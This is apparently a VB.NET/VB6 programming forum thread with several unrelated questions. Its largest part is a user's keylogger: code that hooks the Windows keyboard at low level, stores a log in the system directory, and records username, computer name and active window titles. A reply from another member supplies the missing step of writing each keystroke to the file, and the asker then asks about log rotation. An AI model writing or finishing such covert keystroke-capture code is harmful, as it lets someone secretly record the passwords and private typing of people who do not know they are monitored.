|
This is interesting, at least to me. Even though I can not see the Text or Icon properties of the PrintPreviewDialog object in intellisense, I can still get and set those properties through code. I'm not exactly sure why that is, but since that easily resolves my issue I am now a happy camper.
|
|
|
|
|
Hi friends;
i am working on this,i want get all keypress buttons and write in a txt (i already finished create txt,write in txt a date and getusername bla bla bla)my problem i want to know how can i start keyboard hook and how can i make writer key by key and how stop too(with parameters if have) i did this project before vb 6.0 but i am feeling myself like a moron with this vb.net
please help
Imports System.Runtime.InteropServices
Imports System.Reflection
Imports System.Drawing
Imports System.Threading
Module keyboard
Public Declare Function UnhookWindowsHookEx Lib "user32" _
(ByVal hHook As Integer) As Integer
Public Declare Function SetWindowsHookEx Lib "user32" _
Alias "SetWindowsHookExA" (ByVal idHook As Integer, _
ByVal lpfn As KeyboardHookDelegate, ByVal hmod As Integer, _
ByVal dwThreadId As Integer) As Integer
Private Declare Function GetAsyncKeyState Lib "user32" _
(ByVal vKey As Integer) As Integer
Private Declare Function CallNextHookEx Lib "user32" _
(ByVal hHook As Integer, _
ByVal nCode As Integer, _
ByVal wParam As Integer, _
ByVal lParam As KBDLLHOOKSTRUCT) As Integer
Public Structure KBDLLHOOKSTRUCT
Public vkCode As Integer
Public scanCode As Integer
Public flags As Integer
Public time As Integer
Public dwExtraInfo As Integer
End Structure
' Low-Level Keyboard Constants
Private Const HC_ACTION As Integer = 0
Private Const LLKHF_EXTENDED As Integer = &H1
Private Const LLKHF_INJECTED As Integer = &H10
Private Const LLKHF_ALTDOWN As Integer = &H20
Private Const LLKHF_UP As Integer = &H80
' Virtual Keys
Public Const VK_TAB = &H9
Public Const VK_CONTROL = &H11
Public Const VK_ESCAPE = &H1B
Public Const VK_DELETE = &H2E
Private Const WH_KEYBOARD_LL As Integer = 13&
Public KeyboardHandle As Integer
' Implement this function to block as many
' key combinations as you'd like
Public Function IsHooked( _
ByRef Hookstruct As KBDLLHOOKSTRUCT) As Boolean
Debug.WriteLine("Hookstruct.vkCode: " & Hookstruct.vkCode)
Debug.WriteLine(Hookstruct.vkCode = VK_ESCAPE)
Debug.WriteLine(Hookstruct.vkCode = VK_TAB)
If (Hookstruct.vkCode = VK_ESCAPE) And _
CBool(GetAsyncKeyState(VK_CONTROL) _
And &H8000) Then
Call HookedState("Ctrl + Esc blocked")
Return True
End If
If (Hookstruct.vkCode = VK_TAB) And _
CBool(Hookstruct.flags And _
LLKHF_ALTDOWN) Then
Call HookedState("Alt + Tab blockd")
Return True
End If
If (Hookstruct.vkCode = VK_ESCAPE) And _
CBool(Hookstruct.flags And _
LLKHF_ALTDOWN) Then
Call HookedState("Alt + Escape blocked")
Return True
End If
Return False
End Function
Private Sub HookedState(ByVal Text As String)
Debug.WriteLine(Text)
End Sub
Public Function KeyboardCallback(ByVal Code As Integer, _
ByVal wParam As Integer, _
ByRef lParam As KBDLLHOOKSTRUCT) As Integer
If (Code = HC_ACTION) Then
Debug.WriteLine("Calling IsHooked")
If (IsHooked(lParam)) Then
Return 1
End If
End If
Return CallNextHookEx(KeyboardHandle, _
Code, wParam, lParam)
End Function
Public Delegate Function KeyboardHookDelegate( _
ByVal Code As Integer, _
ByVal wParam As Integer, ByRef lParam As KBDLLHOOKSTRUCT) _
As Integer
_
Private callback As KeyboardHookDelegate
Public Sub HookKeyboard()
callback = New KeyboardHookDelegate(AddressOf KeyboardCallback)
KeyboardHandle = SetWindowsHookEx( _
WH_KEYBOARD_LL, callback, _
Marshal.GetHINSTANCE( _
[Assembly].GetExecutingAssembly.GetModules()(0)).ToInt32, 0)
Call CheckHooked()
End Sub
Public Sub CheckHooked()
If (Hooked()) Then
Debug.WriteLine("Keyboard hooked")
Else
Debug.WriteLine("Keyboard hook failed: " & Err.LastDllError)
End If
End Sub
Private Function Hooked()
Hooked = KeyboardHandle <> 0
End Function
Public Sub UnhookKeyboard()
If (Hooked()) Then
Call UnhookWindowsHookEx(KeyboardHandle)
End If
End Sub
End Module
-------------------------------------------------------------------------
Imports System.IO
Imports System.Windows.Forms
Imports System.Text
Imports System
Imports System.Runtime.InteropServices
Imports System.Reflection.Assembly
Public Class Form1
Inherits System.Windows.Forms.Form
Declare Function GetForegroundWindow Lib "user32" Alias "GetForegroundWindow" () As Integer
Declare Function GetWindowTextLength Lib "user32.dll" Alias "GetWindowTextLengthA" (ByVal hwnd As Integer) As Integer
Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Integer, ByVal lpString As String, ByVal cch As Integer) As Integer
Dim systemdirectory As String = (System.Environment.SystemDirectory)
Dim dosyaadi As String = (systemdirectory & "\bora.txt")
Dim computername As String = (System.Windows.Forms.SystemInformation.ComputerName.ToString)
Dim fso As New Scripting.FileSystemObject
Dim txt As Scripting.TextStream
Dim strinfo As String
Dim kullaniciadi As String = (System.Environment.UserName)
Function raporolustur()
'Sistem klasörünü bul
Dim systemdirectory As String = (System.Environment.SystemDirectory)
'Sistem klasörüne txt dosya aç
Dim dosyaadi As String = (systemdirectory & "\bora.txt")
'Açılan txt dosyaya gerekenleri yaz
txt = fso.OpenTextFile(dosyaadi, Scripting.IOMode.ForAppending, True)
'Başladığında zamanı ve tarihi yaz
txt.WriteLine(("BAŞLADİ " & Now))
Dim OBJNET As Object
OBJNET = CreateObject("WScript.NetWork")
strinfo = "Kullanici Adi: " & kullaniciadi & vbCrLf & _
"Bilgisayar Adi: " & computername & vbCrLf
txt.WriteLine(vbNewLine & strinfo)
End Function
Private Sub Form1_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load
raporolustur()
Timer1.Enabled = True
End Sub
Private m_LastHwnd As Integer
Private Function GetWindowTitle(ByVal window_hwnd As Integer) As String
Dim length As Integer
length = GetWindowTextLength(window_hwnd) + 1
If length <= 1 Then
Return "<<<" & window_hwnd.ToString & ">>>"
Else
Dim buf As String = Space$(length)
length = GetWindowText(window_hwnd, buf, length)
Return buf.Substring(0, length)
End If
End Function
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
Dim fg_hwnd As Long = GetForegroundWindow()
If m_LastHwnd = fg_hwnd Then Exit Sub
m_LastHwnd = fg_hwnd
txt.WriteLine(Text:=Now.ToString("h:mm:ss") & "<<" + GetWindowTitle(fg_hwnd) & ">>")
End Sub
End Class
|
|
|
|
|
Is this a key logger? Come on, own up. We know your sort. lol
Although saying that, it wouldn't make as much sense to write it in .net if you want to install and run behind the scenes as you would have to install the framework to most PCs.
Just not helpful is it that, sorry.
"If i was king cigarettes would be free."
|
|
|
|
|
i trying just understand how its work with vb.net  i am already had this with vb 6.0
all peoples can have gun but important thing they will use this gun for what? for peace or war (i think you understand what i am telling to you)
|
|
|
|
|
Call HookKeyboard() in the form_Load event
Then in the KeyboardCallback event you need to write the value from the lParam.VKKeycode to a file as the actual character and not code.
Was that the problem?
"If i was king cigarettes would be free."
|
|
|
|
|
hmm no my friend
must i describe key by key keyboard buttons ?
or how ? really i confused 
|
|
|
|
|
I changed the declaration for the text file so it is public in the module like
Public txt As IWshRuntimeLibrary.TextStream
and removed the line
Dim txt As IWshRuntimeLibrary.TextStream
from Form1
I then added this to the KeyboardCallback event inside the if block
txt.WriteLine(Chr(lParam.vkCode) & " " & lParam.vkCode)
Hey Presto!!
To remove the hook add
UnhookKeyboard()
to the form_Closing event
"If i was king cigarettes would be free."
|
|
|
|
|
thanks Purple Monk;
but with this line txt.WriteLine(Chr(lParam.vkCode) & " " & lParam.vkCode) writing two times like hheelllloo wwoorrlldd
and can i pause for writing until to create new txt file later than first txt its size like xxx kb ?
i thinked this
fileSize = FileLen(fileName) / 1000
If fileSize >= Text1.Text Then
but then i got error when i tryed close this txt file beucase getforegroundwindow is still working and hook too and still trying for write
|
|
|
|
|
Dear,
I build my project which done by vb.net and it connets to database i need to copy the project which i build on many PCs and make one as a server how can i do it .
there is app.config which i need to define the name of server ...but i dont know what else.
kilany
|
|
|
|
|
Dear,
i want to start form after spesfic time such as (10 second)but the problem i dont know how could i use this fucntion which called timer in .net
kilany
|
|
|
|
|
Set enabled property of the Timer control to True
At run time you can use
Timer1.Enabled = True
Set Interval property of the Timer to 10000 ( 10 * 1000 milliseconds )
Double click the Timer control
You can use this method to do whatever you want
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick<br />
<br />
End Sub
There are many web sites on the internet about timers
Regards,
Chatura Dilan
If at first you don't succeed, try; try again, so that you know
what not to do the next time. The answer is out there.
|
|
|
|
|
Dear ,
I need to create a button to brows the C drive and let me select file with acess or txt extension file and write their data inside them. then i need to print them inside rich text inside form in VB.net
kilany
|
|
|
|
|
also i need to an ready accountancy project :P
|
|
|
|
|
I need to add the button of a datagrid column Can anyone guide me as to how this is done.
aayush singh
|
|
|
|
|
<br />
Option Strict Off<br />
Option Explicit On <br />
<br />
Imports System<br />
Imports System.ComponentModel<br />
Imports System.Drawing<br />
Imports System.Windows.Forms<br />
<br />
Public Class DataGridButtonColumn<br />
Inherits DataGridTextBoxColumn<br />
Public Event ButtonClicked(ByVal rowNumber As Integer)<br />
Public WithEvents btn As New Button<br />
Dim xReadOnly As Boolean = False<br />
Public Property _ReadOnly() As Boolean<br />
Get<br />
Return xReadOnly<br />
End Get<br />
Set(ByVal Value As Boolean)<br />
xReadOnly = Value<br />
End Set<br />
End Property<br />
Public Sub New()<br />
Me.TextBox.Visible = False<br />
Me.TextBox.Cursor = Cursors.Hand<br />
btn.FlatStyle = FlatStyle.System<br />
btn.ForeColor = Color.Red<br />
btn.Cursor = Cursors.Hand<br />
btn.Text = "SİL"<br />
End Sub 'New<br />
Dim _rowNum As Integer<br />
<br />
Protected Overloads Overrides Sub Edit(ByVal [source] As System.Windows.Forms.CurrencyManager, ByVal rowNum As Integer, ByVal bounds As System.Drawing.Rectangle, ByVal [readOnly] As Boolean, ByVal instantText As String, ByVal cellIsVisible As Boolean)<br />
Try<br />
MyBase.Edit([source], rowNum, bounds, [readOnly], instantText, cellIsVisible)<br />
_rowNum = rowNum<br />
btn.Parent = Me.TextBox.Parent<br />
btn.Location = Me.TextBox.Location<br />
btn.Size = New Size(Me.TextBox.Size.Width, TextBox.Size.Height)<br />
btn.Text = "SİL"<br />
btn.Visible = True<br />
btn.BringToFront()<br />
btn.Focus()<br />
Catch ex As Exception<br />
Throw ex<br />
End Try<br />
End Sub 'Edit<br />
Protected Overrides Function Commit(ByVal dataSource As System.Windows.Forms.CurrencyManager, ByVal rowNum As Integer) As Boolean<br />
'btn.Visible = False<br />
Return True<br />
End Function 'Commit<br />
Private Sub btn_Click(ByVal sender As Object, ByVal e As System.EventArgs) Handles btn.Click<br />
If Not xReadOnly Then<br />
RaiseEvent ButtonClicked(_rowNum)<br />
End If<br />
End Sub<br />
<br />
End Class<br />
<br />
|
|
|
|
|
Hi all,
Any help would be greatly appreciated.
I was wondering if there is any way to catch every unhandled error in an application so that the program can then perform some exit tasks before crashing out no matter what the error is. Is this possible?
I have tried the API SetUnhandledException but this doesn't seem to do it. Maybe i'm doing it wrong.
I have also scoured the internet and have tried the examples i felt were relevant but none seem to be able to provide what i want.
Please advise if you can.
This is VB6 by the way.
Thanks in advance.
"If i was king cigarettes would be free."
-- modified at 6:08 Friday 7th April, 2006
|
|
|
|
|
Hi,there guyz.I'm currently working on a project that requires the following-:
on a click of a button a report is created reflecting what is on the form currently,i.e the program should create reports at runtime
I tried the usual way by using data environment connecting to data reports but that only creates reports based on the data on the database(old data)and not the current data (data on the form when at runtime)
Your responsibility determines your authority which in turn specifies your teritory
|
|
|
|
|
IN A MDI PROJECT I WANNA USE "WINDOWS" MENU. BUT I DONT KNOW HOW TO LIST OPEN WINDOWS AT LIST AT VS.2005 ? IT WAS BUILT IN PROPERTY AT V.S.NET 2002
|
|
|
|
|
Create a Window Menu. Select the Menu Strip, Set its MdiWindowListItem property to your Window menu
Regards,
Chatura Dilan
If at first you don't succeed, try; try again, so that you know
what not to do the next time. The answer is out there.
|
|
|
|
|
WHAT A STUPID ME
|
|
|
|
|
Regards,
Chatura Dilan
If at first you don't succeed, try; try again, so that you know
what not to do the next time. The answer is out there.
|
|
|
|
|
Hi Chatura,
asl plz.
Nice signatures. Our football coach also says the same,
" All ur mistakes r forgived, but none of the mistake should be repeated. "
Thanx & Regards.
Success is not a Destination,
... But a Journey !!
|
|
|
|
|
I need to export the contents of a datagrid to csv. Can anyone guide me as to how this is done.
With Best Regards,
Mayur
|
|
|
|
|
it was a simple search at google,
1. open a new web page
2. write "www.google.com" to address bar
3. Click "Go" button (it is at right)
4. Then softly click to first result of returned by google.
5. You see "http://www.codeproject.com/csharp/export2excel.asp[^]"
|
|
|
|
|
Hi all
I need do the following based on Boolean Algebra
ex 1. (M271/M272/M651)+(450/965)/M642/M646
All possible result
M271 + 450
M271 + 965
M272 + 450
M272 + 965
M651 + 450
M651 + 965
M642
M646
ex 2 M271/M646+M006/M651+M013
M271 + M006 + M013
M646 + M006 + M013
M271 + M651 + M013
M646 + M651 + M013
Do somebody no where I can find a code library or code to help
me to break up any Boolean Algebra expression into all possible result
Thanks in advance
PS. I also have more complex expression
|
|
|
|
General 
News 
Suggestion 
Question 
Bug 
Answer 
Joke 
Praise 
Rant 
Admin 
Submit an article or tip
